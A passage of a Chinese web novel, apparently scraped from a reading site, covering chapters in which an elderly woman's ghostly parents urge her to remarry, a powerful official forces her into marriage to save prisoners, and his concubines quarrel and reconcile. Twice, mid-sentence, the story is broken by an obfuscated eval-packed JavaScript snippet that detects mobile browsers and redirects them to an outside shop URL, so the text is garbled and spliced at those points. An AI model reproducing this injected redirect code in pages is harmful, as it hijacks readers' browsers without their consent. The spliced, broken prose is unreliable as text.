老两口对衡羿这个老神仙,多少心里是有些怨气的。 但他们从来不明说,还是保持了生前不跟任何人树敌的生意人本性。 可一旦有所选择的话,那是绝对不会让女儿选衡羿的。 三十年都过去了,他早干嘛去了? 宋礼遇这三十年跟女儿闹成这样,至少情有可原,那是女儿不愿低头,不是宋礼遇没去找。 可他衡羿,从凡间弄个人上天,就那么难吗? 就算不把女儿弄上天,他下来陪她三十年,照顾她三十年,又有损他什么道行了? 单单是在上面看着,等女儿把一辈子都过完了,他再下来给她收尸,那还有个屁用啊! 这一生不就这么错过了? 真是修道把脑子都修坏了,没人味儿的坏东西! 花老爷和花夫人,终究没有神性,他们也不想有。 他们就想痛痛快快地吃肉喝酒,把人间的日子过美了就行。 女儿已经不剩多少时间了,可能是出于对衡羿的嫌弃,他们并不想他陪她走完最后一程。 花夫人跟花老爷想的是一样的,都是急于将衡羿这个老神仙,驱离自己女儿身边。 可人家毕竟是神,他们这两个地府的小官儿,也不好跟女儿明说什么。 谁知道衡羿是不是小心眼儿,到时候再随便找个理由,送他们去乱世投胎。 只好暗戳戳地提醒女儿,宋礼遇虽然做人不太行,但只要对她好就行。 花夫人认真地对女儿劝道:“你怎么跟贺平安处,就怎么跟宋礼遇处。贺平安难道还不如宋礼遇?而且,你捅他一刀,他要是都不怪你,不如你就嫁了呢?” 别管真嫁假嫁,总之离衡羿越远越好。 老两口现在看见这个老神仙,死皮赖脸地跟在女儿身边就生气。 他又不是前世的薛尘,一个高高在上不理世事的神,下来追着濒死的凡人伺候,有什么意思?贱不贱? 孩子快死了,你知道来奶了。 年年才不要你呢。 老两口也是有点骨气,但不多的人。 他们就是宁愿选一个无恶不作的宋礼遇,也不想选不愿意破坏一点儿规则的衡羿。 规则之内的爱,算什么爱呢? 不过是,有所取舍,而他们最宝贝的女儿,是被舍弃的那个。 他就在天上好好履行神职吧,不必突然良心发现一样,陪在女儿身边。 看起来,好像是临终关怀。 把女儿托付给谁,也不托付给他。 这老神仙就是个大神经。 可是花祝年听到爹娘劝嫁的话,突然一口气梗了上来。 她本来好久好久不见他们了。 但没想到,到头来,居然,还是为了劝她嫁宋礼遇。 她又是委屈,又是生气。 “贺平安怎么可能和宋礼遇一样?贺平安就是没什么文化,行事稍微粗鲁了些,可他比宋礼遇好太多太多了。宋礼遇就不是人!” “我不可能跟他好好相处的,我一天也处不下去。我半点都不喜欢他,就是搭伙过日子都过不成!他仗着自己拥有的一切,就知道欺负人。他从来没有把不如他的人,当成人过。我都已经五十岁了,怎么还是要面对你们的说亲?” 花夫人见女儿的情绪有些激动,连忙顺着她的心口说道:“不是劝你嫁人,就是不嫁他,你跟着他生活,也比你回去好呀。人活着,不就是要尽量让自己活得舒适吗?” “我在山野间待三十年,就是跟他这种人生活不下去!如果在最后妥协了,我这三十年就像个错误,像个笑话!凭什么呢?凭什么我坚守了一辈子,到老还要在他手底下讨食吃?他算什么东西?也配我去哄着他?” “不,我绝不!” 花老爷见怎么劝都没用,索性也就不再劝了。 他们还是跟三十年前一样,尽最大的努力,想说成她跟宋礼遇这段姻缘。 但她若死也不愿意,那,那就只能算了。 就老一辈看女婿,跟女儿看女婿,角度总是不同的。 他们是喜欢薛尘,但薛尘已经死了。 衡羿这个老神仙,他们又看不上,就宋礼遇还顺眼些。 至少,知根知底的。 最起码,今后没有人再欺负她了。 老两口煞费苦心,也是统统白费,真是没什么办法。 把女儿惹哭了还要哄。 花夫人将花祝年抱进怀里:“好了,别哭了。爹娘不劝你这些了,但你自己要照顾好自己呀。” “我一直,都把自己,照顾得很好。” 花夫人想到女儿身上的那些伤口,心疼得要命。 但凡贺平安是个做人的,他们也不会让她改嫁宋礼遇。 花老爷见女儿一直哭,只能找了个由头来哄她:“那个,我们在下面,见过薛尘的。” 花祝年一听到薛尘两个字,便止住了哭声:“他没有去投胎吧?” “没有没有。我们也就见了一下,他就被召唤走了。平时呢,他就待在小泥人儿里。” 花祝年突然又忍不住痛哭出声:“我就知道他在那里面,可是小泥人儿被宋礼遇那个王八蛋摔坏了!” 花夫人连忙安慰她:“没事的,薛尘现在已经很厉害了,他有时候在那里面,有时候也在别的地方。不只你给他攒功德,他自己也有在攒呢。” 花祝年哭着问道:“那,那他,快要封神了吗?我觉得他应该封神的。人间不容他活着,我要为他找个能容他的地方。” 花老爷和花夫人,不禁和站在一旁的衡羿对视了一眼。 他们是真的不喜欢他,不过保持着生意人的圆滑性子,还是点头示意了一下。 花老爷轻抚去女儿脸上的泪水:“他啊,就快了,还差一点点,你要再坚持一下啊。你应该能见证他封神的,等他封神后,第一个来见的人,肯定是你。他一定很感谢你,这么多年还记得他。” 花祝年抹了把泪:“不用他感谢,只要他好就行。我真的特别想看他封神!我不能让那些人,那么欺负一个好人,用残忍的方式弄死他不够,还要让他连胎都投不成。我一定,会送他封神的。” 她始终在以自己的方式,对抗着那些欺负过薛尘的人。 哪怕已经没什么人记得他了。 可只要她记得,他就不那么孤单。 花夫人忍不住问她道:“薛尘最后是封神了,你呢?你怎么办呢?” 花祝年思索了一下,低下头笑了笑:“我,我那时候,应该不在人世了吧。” 花夫人心疼道:“你就没想过,给自己也封个神吗?人间这么苦,别再投胎了。你,你要不到时候,跟薛尘说说,看他能不能带带你呢?” 哪个爹娘不想看孩子过好日子? 在人间的时候,他们想女儿跟宋礼遇,好歹宋礼遇一人之下万人之上。 不在人间的时候,他们想衡羿能捞她一把,把她接到天上去,哪怕,他们不太喜欢那个老神仙。 花祝年摇了摇头:“不用了,他封神是他的事,跟我没有什么关系。” 花老爷急声道:“这怎么没有关系呢?如果不是你这么几十年如一日地供奉他,他怎么可能封神?就算不念别的,总得念你供奉他的情意吧。” 这话是说给那个老神仙听的。 花夫人看得出来,女儿脸上有些不自在,就捏了花老爷一把,让他别再说下去了。 “没关系的,你想做什么,就去做吧。不想跟他提这件事,那就不提了。只要你,心里不委屈就行。” 花祝年重新钻进娘的怀里:“我不委屈。送他封神,是我的心愿。心愿达成后,我也就该走了。坦白讲,这个世间,并没有如何负于我,我也不曾守护过何人。” “我只是和芸芸众生一样,努力地活着而已。如果我封神的话,这是不公平的。我不能维护了一辈子的公平,最后到我自己身上,突然钻了封神的空子。那我和宋礼遇有什么区别呢?” 如果说,花祝年是薛尘未曾谋过几次面的知己的话,那她现在已经是衡羿的知己了。 只有她理解他,理解他所做的一切。 包括,对她人生的漠视。 衡羿是真的很喜欢他的小信徒啊。 可喜欢归喜欢,他也的确没办法帮她什么。 好像就,只能到喜欢为止了。 稍微做点别的事,就会有所偏颇。他不能带头坏了规矩。 花夫人和花老爷托梦的时间到了,渐渐地消失在花祝年的梦里。 花祝年不知道自己怎么就回到了枕头上。 明明上一刻,她还在娘亲的怀里。之后,就是一片黑暗。 她大部分时间的梦境,总是如此。所以,才会期盼薛尘能给她托梦。但如果他太忙的话,也没关系。 她也可以独自面对黑暗。 宋礼遇几乎听完了花祝年讲的所有梦话。 给自己听得又气又急。 哪怕是大夫在一旁给他包扎着伤口,他都不带消停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362676|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半分的。 宋礼遇跟管家吩咐道:“给我把全国最好的名医都搜罗过来,我就不信弄不醒她!” 衡羿坐在小信徒的床前,替她轻抚去眼角的泪水。 他爱怜地看着她,希望她醒过来,也希望她睡下去,一直睡到他去接她。 其实,花老爷和花夫人说的话,他不是没有考虑过。 但他找不到那样做的理由。 在人间受苦的人,不只有小信徒一个,他不能因为她是他的妻子,就给她什么特殊的待遇。 他有提点过她,让她下一世去修道。 世世修,总有再见面的一天。 可是,他看她似乎兴趣不大,并且,连投胎的意愿都没了。 三天过去了,全国的名医,都被加急的马车,带着往这边赶。 可是对于花祝年的病症,大家都束手无策。 甚至,碍于宋礼遇的权势,都没有人敢对他说真话。 大家都装作不知道花祝年时日无多,生怕这个起死回生的重任落自己身上。 瞒着花祝年的病情,宋礼遇顶多给他们的任务,是让她醒过来。 可一旦让他知道,床上的人没几天可活了,那他们这些大夫就要遭老罪喽。 宋礼遇身上的伤口,用的是最好的疗伤药,兵营里重伤的将士都用不到的那种。 愈合得很快,没几天就好利索了。 他还准备再给她捅几下子呢。 左等她不醒,右等她也不醒,最后实在没办法了。 只得跟衡羿一起,坐在大太阳底下,捏小泥人儿。 捏到一半,宋礼遇看着薛尘的面容,碰了衡羿一下:“后生,你说,我就真不如这玩意儿好看吗?” 衡羿笑了笑:“花大娘不喜欢你,又不是因为你长得不好看。你就是长得好看,她该不喜欢你,还是不喜欢你。” 宋礼遇皱着眉头:“她就是不喜欢我,也不会喜欢你!你都能当她儿子了,图什么啊?跟狗屁膏药似的待在她身边,也不嫌丢人。” 衡羿捏着小泥人儿说道:“宋大人不也是娶了三十多房妾室吗?其中,还有年纪跟我相仿的。怎么,只许你找小的,不许我花大娘找小的了?” 宋礼遇气道:“我没说不让她找小的啊。我说的是你,恬不知耻!喜欢一个都能当你娘的人,我要是你啊,我都臊得慌。” 衡羿不急不躁道:“可惜,你不是我。我至少能陪花大娘走这一路,你呢?你只会挨她一刀。” 宋礼遇不甘示弱道:“挨她一刀怎么了?老夫乐意!这是老夫的荣幸!老夫感到非常开心!想这一刀,想了大半辈子了,终于来了,可舒服死我了。” 他一边说,一边捏得小泥人儿更起劲儿了。 花祝年醒来的时候,第一眼看见的就是那张讨厌的脸。 手边刚想摸个什么东西打他,就感觉自己怀里抱着一尊小泥人儿。 宋礼遇谄媚道:“花小姐啊,这小泥人儿,我给你捏好了,你莫要生我的气了。是我有眼不识泰山,叨扰了薛尘哥哥。我现在就当着你的面儿,给他嗑几个赔罪!” 衡羿在一旁冷声道:“你可别拜了,受不起。搞不好,还损薛尘的功德呢。人家只接受虔诚的供奉,不接受虚情假意地跪拜。” 花祝年一听,可能会影响薛尘封神,转头对衡羿说道:“后生,你快把他赶出去,别让他脏了我这地。” 宋礼遇委屈巴巴地说道:“花、花小姐,这里,是我家啊。” 花祝年挣扎着从床上起身:“是,这是你的地界。我马上走。” 她没准备再跟他说救人的事。 毕竟,她刚捅了他一刀,他不杀那些人就是好的,怎么可能帮她救呢? 宋礼遇连忙上前扶着她躺下:“你现在刚醒,身体还虚着,我怎么能让你这个时候走呢?” 花祝年不想他碰自己,打了他的手一下。 宋礼遇收回手后,又变了一副嘴脸:“况且,你现在是反贼!为了百姓着想,我也不能放你离开。万一,你起义了怎么办?这会儿起义的可不少,朝廷天天在抓人,我现在先把你给抓了,到时候,就不用再抓了。” “我反你八辈儿祖宗!宋礼遇,你这个老不死的,又开始乱拿权压人了。看不惯你欺负人,就是反贼了?那当初到处作恶,欺压百姓,把王朝作完了的人,是什么?你说啊!” 宋礼遇说不出话来。 花祝年冷笑:“你不说,我替你说。他们是权势的守护者。跟你一样,是败类!” 他也不想跟她吵,可他也是有尊严的,哪容得下她这么讽刺他。 “是!我是败类!可我这个败类,比你混得好了不知道多少倍!你现在遇到难处了,还不是要来求我?来求我这个天底下最大的败类!你不求我,他们就得死!” 在等她醒来的这些天,衡羿已经告知了宋礼遇,花祝年的来由。 不是来求他收留,而是有事相求,有人要求他救。 宋礼遇听完,心里虽然难受,可终究她还是来找他了。别管为了什么吧,只要来了,他就不能让她走。 在他说出这些话后,花祝年忽地看向了衡羿。因为她并未对宋礼遇讲过具体是什么事。 没来得及。 可他此刻却已然知道了,那必定是他告诉他的。 衡羿倒也没有遮掩,直接承认了。 “花大娘,是我告诉宋大人的。我们此行,不就是为的这个吗?有些事,还是说清楚比较好,不然,他还以为你要嫁给他呢。” 58. 别人五十而知天命 衡羿知道在小信徒捅完宋礼遇后,再跟他说这些,他是势必不会救贺平安他们的。 本来,他也没准备让那些人得救。 衡羿不喜欢杀戮,任何名义上的杀戮,包括他当年的那些…… 可他也知道,贺平安那些人,当时是没有办法才杀人的。 正如他当时没办法一样。 于人间的角度而言,那是快意恩仇,是被逼至绝境后的反抗。 但是从天的视角看,是在无止境的资源争夺中,用尽手段的自相残杀。 人间本就是如此。 众生都在激烈的对抗中,被无望磋磨着。 这也是衡羿始终不想小信徒,去救那些人的原因。 他不想她到死,都在绝境中对抗。 正如她爹娘所希望的那般,过得轻松一些不好吗? 她已经离开那个困了她三十年的村子了。 走了很远很远的路,可以永远不再去见贺平安和那些人。 至于她的那些老姐妹儿,当初他蒸好馒头来找她时,已经把她们凑到的钱,放回到柳春那里了。 他的小信徒,不欠任何人的。 她是可以放下一切,快快乐乐地,跟他一起生活下去的。 花祝年在被宋礼遇训了一通后,突然间变得像个做错事的孩童一般。 她的心,从来没有这般慌乱过。 如果她是个光棍儿就好了,一人吃饱全家不饿,没有要救的人,也没有要求他的事。 那样的话,她不只能捅他一刀,还能捅他千千万万刀。 人在没有念想,没有寄托的时候,无论做什么都是很硬气的。 可偏偏,偏偏她有。 花祝年这个怼天怼地的小老太,头一次被宋礼遇压得说不出话。 她甚至,开始害怕。 害怕宋礼遇会因为她捅了他一刀,不仅不去救贺平安那些人,反而彻底断了他们的活路。 花祝年害怕别人因她而死。 她,她是来救人的,不是来杀人的。 宋礼遇本来也只是想压制花祝年一下,但半分都没有要折磨她的意思。 她是他此生未曾得到过的挚爱,是阴暗沟渠中倒映的冷冷明月,是任何人都无法超越的存在。 他哪里舍得折磨她呢? 宋礼遇轻握住她的手说道:“花小姐,我不是个小气的人。那些人,我救。” 这下,不仅花祝年震惊,连衡羿也震惊起来了。 向来小气的人,居然说自己不小气。 宋礼遇的指腹轻揉着花祝年手心的硬茧,却让她有种不寒而栗的感觉。 感觉自己像被蛇咬住了。 她想逃。 可是,却不能。 宋礼遇认真地说道:“兵营里都是咱自家人。我有个侄子,是骠骑大将军,救人就是他一句话的事儿。” 为了不引起花祝年的反感,他特意解释道:“我那侄子,也是立过赫赫战功的。不是我找关系安排的,他是自己打上去的。” 衡羿毫不留情地拆穿道:“别往远了说,就说近十几年吧,哪里打过什么胜仗?他上哪儿立的战功?” 宋礼遇转过头,看向衡羿,阴沉地说道:“年轻人,如果不知道什么时候该说话,什么时候不该说话,那就不要说!若是让人都看出来,你做人还差点火候,最后闹笑话的也是你。” 宋礼遇年轻的时候,就是这样被各种长辈教训过来的。 如今他终于也到了教训年轻人的年纪,可以大大方方地当人野爹了。 但他不知道的是,衡羿只是看着年轻,实际上已经不年轻了。 若是论起厚脸皮来,宋礼遇还真不一定比得过。 衡羿直接将小信徒的手,从宋礼遇手中争抢过来。 他紧抱在怀里:“花大娘,我们不求他。求人一次,就要时时念着对方的恩。你同他对抗了一辈子,万不能在最后妥协。可别真让他等到了,他算个什么东西呢?” 衡羿此刻,特别想带着自己的小信徒离开这里。 她现在内心是没什么支撑的,他很害怕她为了那些人就此妥协。 宋礼遇那种人,哪里会白帮人呢? 可不等花祝年回应,宋礼遇就继续说道:“花小姐,你捅我一刀的事,咱们可以了,毕竟,这是你我之间的恩怨,不应该牵扯到别人。但是,这人我不白救。” 花祝年声音干涩地说道:“这后生家里有钱,你问他要。多少他都出得起,你先把人救了再说。” 衡羿看小信徒就这么把自己卖了,他真的要闹了。 把他卖给鲁绒绒就算了,毕竟那是她从小看着长大的孩子。可她居然要把他卖给宋礼遇,就为了救贺平安那些人。 衡羿不禁恼怒道:“我没钱,有也不给他。这人,他爱救救,不救拉倒。我的钱,只给你花。若是为了旁的人,一个子儿我也不出!” 宋礼遇阴渗渗地笑了一下,他凑到她床边,谄媚道:“花小姐,我不要钱,我要人。老夫虽然娶了三十几房妾,但还从未有过正妻。” 不只花祝年在坚持对一个人的爱,宋礼遇也在坚持着。 他觉得自己配得上她,甚至,他觉得她会感动。 当初,在他还往上爬的时候,有过很多次机会,做那些位高权重者的乘龙快婿。 可是,他都拒绝了。 就是为了今天,亲口告诉她,他一直给她留着位置。 花祝年重重地捏了衡羿的手一下:“后生,扶我起来。” 衡羿虽然不知道她要做什么,但仍旧老老实实地照做。 他托着她的腰,将她扶坐了起来。 宋礼遇以为花祝年要抱自己,他的怀抱已经向她敞开了。 哪料花祝年用尽全身的力气,猛地抽了宋礼遇一巴掌。 他本来在床边坐着,她一巴掌下去,直接给他抽到了床下。 挨打的那半张脸,瞬间肿胀了起来。 花祝年在床上气得发抖,指着宋礼遇的鼻子骂道:“你是不是有什么大病?我都五十岁的人了,你在这里羞辱一个老太太?” 是的,她觉得是羞辱。 哪怕宋礼遇问她要钱,她都不会愤怒至此。 可偏偏,他要的是她。 虽说一把年纪改嫁,倒也不是多有悖伦理。 但她根本不想嫁他! 别人五十而知天命,她五十被迫改嫁老王八。 哪有这么折腾老太太的? 啊? 真是丧心病狂! 宋礼遇轻撩起衣袍,跪着走到了花祝年的床前。 他恳切道:“我不是在羞辱你,我确实,想娶你。我有多爱慕你,你看不出来吗?我们本来就错过了三十年,当初如果不是因为家里,你怎么可能对我有那么大的偏见?倘若,倘若你救我一次,这官儿我不做都行,我愿意跟你归隐田园。花小姐,我愿意的。” 花祝年又给了他一巴掌:“你愿意你大爷!做什么要我救你?你自己不知道对错,执迷不悟到现在,非要拉着我做什么?你想归隐就归隐,不想就不想,说得好像你有今天,全是拜我所赐一样。” 宋礼遇被打爽了。 他是真觉得爽,多少年没人这么打过他。 “花小姐,你说的对。我有今天,是我自己堕落,跟你没关系。可我心里,一直念着你。” 衡羿气得想捂住小信徒的耳朵,他的暴躁小豹子可听不了这种话。 花祝年确实听不了。 她扬起巴掌又想打他,却被宋礼遇一把抱住手。 他微扬起脸,凑了过去,拿着她的手猛烈地往自己脸上抽打着。 一边挨打,一边教她道:“花小姐,你得用力。” 花祝年瞬间抽回了自己的手,猛地踹了他一脚。 宋礼遇痴痴地又想抱她的脚,吓得她连滚带爬地蹿到衡羿背上:“快快快,背我走。这老东西疯了!” 衡羿感觉小信徒软趴趴的,突然蹿上来特别可爱。 只是刚想背着她离开,跪在地上的宋礼遇,突然低着头沉声说道:“你敢走,他们必死!” 衡羿冷淡道:“死就死,反正砍得也不是我花大娘的头。跟我们有什么相干?” 花祝年却出溜一下,从他的背上滑落下来。 他没能背住她,连忙回过头去看,却只看到她脸上的泪痕。 宋礼遇起身后整理了一下自己的衣袍,对花祝年说道:“你好好养病,我去挑个黄道吉日,用最高规格的仪仗迎娶你过门。” 之后的几天,宋礼遇没再来找过花祝年。 听说是遵循成亲习俗,婚前男女不能见面。 当然,更多的可能,是怕花祝年抽他,也怕再把她气哭。 花祝年虽是醒过来了,可身体仍旧不太好。 越来越爱晒太阳了。 不晒太阳,她身上的旧伤容易疼。 花祝年靠在宋礼遇给她打造的藤椅上,衡羿蹲在她一旁,像只懒洋洋的小狗,陪她一起晒太阳。 眼看着成婚的日期就要到了,衡羿忍不住问她道:“花大娘,你真的要嫁给宋礼遇么?” “嗯。” “那你心里愿意吗?” “愿意。” “可为什么,我觉得你不愿意呢?” “我愿意不愿意,有什么打紧的?这世界上的事,从来都由不得我愿不愿意,就这么忽地一下子罩过来了,让人难以挣脱。” 衡羿小声道:“花大娘,我带你私奔吧。我有的是钱,够我们花好一阵子了。” 花祝年从藤椅上起来,垂眸看着蹲在自己身边的衡羿:“别在这里发癫。你跟我私什么奔?等我完婚后,他肯放人了,我就带你回家,让你跟绒绒成亲。” 衡羿抬起头问道:“他会放我们回家吗?” “都完婚了,干嘛不放?再说了,他不放,我怎么知道他有没有救人?我肯定是要回家看看的。” 衡羿蓦地想到了什么,他试探地问她道:“那回去后,我们,还回来吗?” 他觉得自己应该是和小信徒想到一起去了。 借回家的理由开遛。 才不要和宋礼遇那个人过日子。 花祝年又躺回到藤椅上,说了几个字—— 落叶归根。 她已经老了,又是病痛加身,她能感觉到自己的身体撑不了几天了。 等他们回到村子里的家,应该也就到了她死的时候了吧。 还回来干什么呢? 她嫁宋礼遇,是为了救人,又不是真的要当他的夫人。 年少时没有做的事,老年更加不会做。 花祝年住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋礼遇心疼了,连忙回过头去扶。 可算是让她逮住他了,花祝年爬起来就拿竹子打他。 力气大到连竹子都给打劈了。 宋礼遇被打得满地乱爬,边爬边笑。 他是喜欢她的,被她打也喜欢。 可花祝年对他,只有厌恶。她恨不得打死他。 没有人会喜欢强迫自己的人。 那种高高在上,居高临下的强迫,最是让人感到磋磨。 他永远胸有成竹,气定神闲,觉得你会答应他开出的一切条件。 偏偏,结果也如他所料。他像是她人生的掌控者,这是花祝年第一次,对自己的人生感到失控。 宋礼遇挨打是乐意的,可他也不光总是挨打,也要讨回些什么来。 他将竹子猛地往自己的方向一拽,花祝年瞬间被他拽倒在怀里。 宋礼遇翻了个身:“花小姐,别打了。” 他一边说,还一边去摸她脚上的鞋子。 “你还是穿上了我送你的鞋。” 花祝年踹了他一脚,他不为所动,反倒逼得更近了些。 “等成亲后,我就把妾都遣散了,我们好好过自己的日子,再也不让任何人来打扰我们,好不好啊?” 衡羿气呼呼地跟过去后,随手抓了条蛇,把蛇往宋礼遇的脖子上一缠,就将他从小信徒身上拎了起来。 一把年纪了,还在这里欺负人。 宋礼遇也不知道自家的院子里哪儿来的蛇,倒是花祝年被蛇吓得不轻。 她亲眼看着那条蛇缠住了他的颈,离自己还那样近。 衡羿在她身后解决着宋礼遇,花祝年踉踉跄跄地往前走着。 她不想再回头看一眼,觉得心里不舒服。 那位被打的女子,仍旧趴在她院外里巷的地上。 她上前抱着对方的腰,将她扶了起来,像扶起当日被贺平安打的自己一样。 女子看着约莫三十岁的年纪,头发凌乱,哭得梨花带雨。 “你这个老妖婆!现在跟我充什么好人?如果不是你,我们这些姐妹们,也不会没有去处。抢了人的吃食,还来这里装好人,呸!恶心!” 花祝年看着对方的目光,饱含了对未来的惧怕。 她知道,她跟她一样,是不把男人当回事的,只是当做吃饭的工具。 看她的年纪,应该挺早就跟了宋礼遇,没怎么吃过苦。 花祝年主动搭话道:“你也喜欢这样袜子吗?我那儿还有双虎纹的,我没穿过,送给你。” “谁要你送?我自己会买。别以为我不知道你存了什么心思,你对老爷勾勾丢丢的,就是为了自己霸占他!到底是你有本事,五十岁的老妖精了,还这么不消停!来别人家里勾引男人。” “你也不看看你如今的样子,大肥屁股水桶腰,脸上的皱纹都能夹死蚊子,皮肤松弛得像沙漠,头发上的色儿跟乌鸡一个样,真是不知羞耻!自己还挺有本事,勾着个后生不撒手,让两个男人为你争风吃醋,你现在很得意是么?” 59. 是我们的大姐 夜里,烛火摇曳,衡羿乖巧地坐在小信徒身边,让她给自己涂药。 他跟宋礼遇从晌午打到傍晚。 宋礼遇这个老东西使诈,起初还不让下人掺和,后来发现打不过他,喊了一帮下人过来打他。 他这才跟那些人打了个平手。 衡羿是不会为小信徒打架的,所以那时候,他更像是前世那个直直愣愣的薛尘。 他才是真正地同她错过了三十年。 两个人都觉得遗憾的事,才是遗憾。只有一个人觉得遗憾,那是自作多情。 其实,他们之间相隔的,又岂止是时间呢? 仙凡有别的界限,浩渺遥远的九重天,他是天上人,她是地上仙。 此世了结后,她再也不会记得他,下一世,她的执着就会给别人了。 衡羿在小信徒给自己涂药的时候,环顾着房间里这大大小小的礼品,大多都是女人用的东西。 除去珠宝首饰之外,还有一些补品之类的。 “花大娘,你是怎么让宋大人的妾室们送你这些的?” 他记得,晌午的时候,那个女人还在跟她闹。 无所不用其极地贬低她,仿佛真的不要命了一样。 想必其他妾室,对她也是有恨的。 花祝年一边涂药,一边随口说道:“我说不会让宋礼遇遣散她们,除此之外,还私下让宋礼遇在原有的家用上,再给她们每人每个月多加一百两银子。” 人只有在很愤怒的情况下,才会做出过激的举动。 因此,听到对方说她的那些话时,她并不会觉得生气,反倒能感知到对方的走投无路和癫狂。 她也有过很多那样的时刻。 特别是在见到宋礼遇之后,总是被他逼得发疯。 这不是她的情绪不稳定,只是太委屈了。 宋礼遇的那个妾,想必也是这样吧。 没招谁没惹谁,突然家里来了个老太太,自己和小姐妹们就要被赶出去了。 都没地说理去。 既然没地说理,似乎只能发疯。 衡羿以为他的小信徒,被人那样辱骂会生气的。 他知道她性子一向暴躁,没想到这次会处理得这样妥帖。 他轻喃道:“这样真好,大家都不用走。” “是啊。这是我爹教我的。有时候,看到别人对自己态度不好,不一定是对方做错了,要看看是不是自己吃多占多,把别人逼至绝境了,能退则退,当让则让。况且,花的也是宋礼遇的钱,放着河水干嘛不洗船呢?” 衡羿忍不住笑道:“花老爷,还真是窝囊了一辈子呢。” 别人都说在这世上混,要不择手段,要无所不用其极,宁愿弄死对方,也要让自己有口吃食。 只有花老爷在那里认真地反思,自己是不是占得多了,让别人没得赚,所以才会受到攻击。 家业是在一次次知进退的圆滑中,壮大起来的。 他也不是懦弱,就是比较了解人性。 并且,加以利用。 “我有时候也觉得他窝囊,不过,对上是很憋屈的窝囊,可对下却是很温和的窝囊。他不像宋礼遇,媚上欺下,我爹是既哄上边儿,又哄下边儿,平等地对每一个人窝囊。” 花祝年说着说着,把自己也给说笑了。 她也是没见过那么窝囊的人,受了委屈就只能趴在娘的怀里哭。 其实,从之前茶叶的事情上,也能看得出来。 花老爷的确是个极窝囊的人。 茶行的人都那么整他了,可他最后还是跟大伙一起赚钱。 谁都知道垄断的利益更大,但他还是不愿意那么做。 花老爷哪怕是对给自己使坏的人,也有种哄小孩儿的感觉。 大有一种,“给你也分点儿,别不开心啦,我们一起赚钱呀”的哄人感。 而那种善于哄人的宽厚和博爱,在花祝年的身上也有所体现。 可能是,他们都觉得,资源紧缺,互相残杀,从来不是人的错。 宋礼遇的小妾,聚在一起说小话。 “你觉得,她真的能放过你吗?你都那么说她了!” “对啊,你要是单纯地看不起她就算了,可你是又学她,又看不起她。要是我,早跟你骂起来了。” “听说,她是个脾气挺暴的人,对着老爷都能下得去手。以后我们的日子还好说,毕竟没怎么得罪她,可你怕是难过了。” 几个小妾,你一言,我一语地就把花祝年,描述成了一个手段毒辣的阴损大魔头。 那个跟花祝年产生争执的小妾,在一片叽喳声中,冷静地出声道:“其实,我最初也很担心,但是,她说——” “说什么?” “她说,如果她是人的话,那肯定会生气。因为,她有尊严,性情暴烈,受不了委屈,不能挨我那么骂。” 其他的小妾纷纷说道:“看吧!我就说吧,她肯定不会放过你的,你以后得小心着她点。” 那位小妾摆了摆手道:“哎呀,我还没说完呢。你们着什么急啊?” “那你倒是说啊,她除了这个,还说什么了?” “她还说,如果她是天的话,就不会生气,反而会容纳。” “为什么啊?” “因为,从天的视角往下看,就会觉得,这个人是我的孩子,那个人也是我的孩子。天,希望自己的孩子有饭吃,有衣服穿,并不会因为看着这个孩子,学了另一个孩子的什么,就会生气。天只会想,活着是很好很好的事,希望大家都能活久一点。做人太委屈了,她想做天。” 一个小妾忍不住对她讽刺道:“她不过是说些场面话,你就觉得她原谅你了?可连老爷都说你是东施效颦诶。” 家中妻妾不和,多是男人无德。 哪怕别人竭力想再挑起她跟花祝年的争斗,此刻她也是不想再斗的。 “不劳你们操心,她为这个已经安抚过我了。她说,她不是西施,我也不是东施。她只是一个为救家人,不得已改嫁的老太太,而我,只是一个想活下去的女人,让我别听老爷的狗叫!” 说着她自己也笑了出来。 别的小妾隐隐有些嫉妒,毕竟,这回她去找花祝年的茬儿,就是她们这些人挑唆的。 哪料她这么快就跟花祝年处成姐妹了。 这怎么行呢? “她理解你,她容忍你,说不定是装的呢。反正,我没见过这么大度的人。你们见过没有?” “没有,她又不是活菩萨!不过是一个粗鲁的老太太。看着,都有老人味儿了。” “白白胖胖的,跟个面团儿一样。咦,反正我不喜欢她。” 跟花祝年有过交集的小妾,猛地拍了下桌子:“你看看你们说得这是些什么话?就算她不是菩萨,她也是个很灵的人。她跟我说,只要我跟她一起虔诚拜祭那个小泥人儿,老爷就会给全院的女人涨家用。结果怎么样?我跟着她拜了拜,到了下午老爷就说,给咱们每人每月涨一百两!说到底,我们都沾了小泥人儿的光。” 一个小妾不情不愿道:“沾光就沾光呗,我们不是也送礼物过去了吗?又没白沾她那份光。等哪天,我也去拜拜她的小泥人儿,让老爷把我抬成夫人。我倒要看看,她那个小泥人儿,是不是真的那么灵。” 另一个小妾插嘴道:“我觉得是灵的。搞不好这回,她就是靠着拜小泥人儿,才让老爷娶她的。” “那这也太灵了吧!她比我娘的年纪还大五岁,就这么水灵灵地当上正妻了?” “等哪天,要是能把她那个小泥人儿偷来就好了。” 那个三十多岁的妾,从椅子上站起来,对着众人教训道:“以后,她就是老爷的夫人,是我们的大姐,我不许任何人忤逆她。” 花祝年在替衡羿上好药后,他低头穿着衣服。 领口处没有整理好,她伸手替他抚平。 衡羿看着自己的小信徒,烛光映照在她的脸上,看起来柔和又慈祥。 他温声唤她道:“花大娘。” 花祝年收拾着药酒,不耐烦地回道:“干嘛?” “你能不能,不嫁宋礼遇?” 几天后,婚礼如期举行。 宋礼遇用了最大的排场,来迎娶他年少时的挚爱。 他终于,等到了她向自己屈服。 光宴席就摆了八百多桌。 他这回收礼,可是大收特收了。 宋礼遇觉得花祝年旺他。仅仅这一场宴席,至少五年的家用就出来了。 